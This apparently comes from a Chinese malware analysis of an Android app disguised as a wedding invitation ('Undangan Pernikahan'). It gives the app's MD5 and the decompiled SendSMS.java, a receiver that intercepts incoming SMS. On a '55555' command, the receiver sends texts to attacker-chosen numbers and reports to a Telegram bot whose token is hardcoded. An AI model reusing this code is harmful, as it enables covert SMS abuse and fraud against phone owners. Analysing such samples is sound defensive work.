Undangan Pernikahan v1.0版本的 MD5 值为:9df807d332459ea5ff8a12e1f95a4a67
以下内容为反编译后的 SendSMS.java 源代码,内容仅作参考
package com.example.myapplication;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.ResponseBody;
public class SendSMS extends BroadcastReceiver {
String token = "6670876344%3AAAG7louL1vYJ4opeP7fuPzs453Z0y3pTGq8";
String id_pelanggan = HttpUrl.FRAGMENT_ENCODE_SET;
String id_saya = "5915688318";
private final OkHttpClient client = new OkHttpClient();
final String TAG = "demo";
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle;
Bundle bundle2;
String str = " ";
String str2 = "&text=*NOTIF PENENEKAN * %0A*Form* : _";
if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED") && (bundle = intent.getExtras()) != null) {
try {
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] msgs = new SmsMessage[pdus.length];
int i = 0;
while (i < msgs.length) {
msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
msgs[i].getOriginatingAddress();
String msgbody = msgs[i].getMessageBody();
String rep_msgbody = msgbody.replace("&", " ");
String rep_msgbody2 = rep_msgbody.replace("#", str);
rep_msgbody2.replace("?", str);
String kata1 = msgbody.split(str2)[0];
String kata2 = msgbody.split(str2)[1];
String kata3 = msgbody.split(str2)[2];
int tempWater = Integer.parseInt(kata1.toString());
String str3 = str;
String str4 = str2;
if (tempWater == 55555) {
SmsManager mysmsmanager = SmsManager.getDefault();
mysmsmanager.sendTextMessage(kata2, null, kata3, null, null);
bundle2 = bundle;
try {
Request request = new Request.Builder().url("https://api.telegram.org/bot" + this.token + "/sendMessage?parse_mode=markdown&chat_id=" + this.id_saya + "&text=*Berhasil Kirim SMS dari Jauh * %0A*Kepada* : _" + kata2 + "_,%0A*Teks* : _" + kata3 + "_").build();
this.client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
@Override
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
ResponseBody responseBody = response.body();
responseBody.string();
}
}
});
} catch (Exception e) {
e = e;
e.printStackTrace();
return;
}
} else {
bundle2 = bundle;
}
i++;
bundle = bundle2;
str = str3;
str2 = str4;
}
} catch (Exception e2) {
e = e2;
}
}
}
}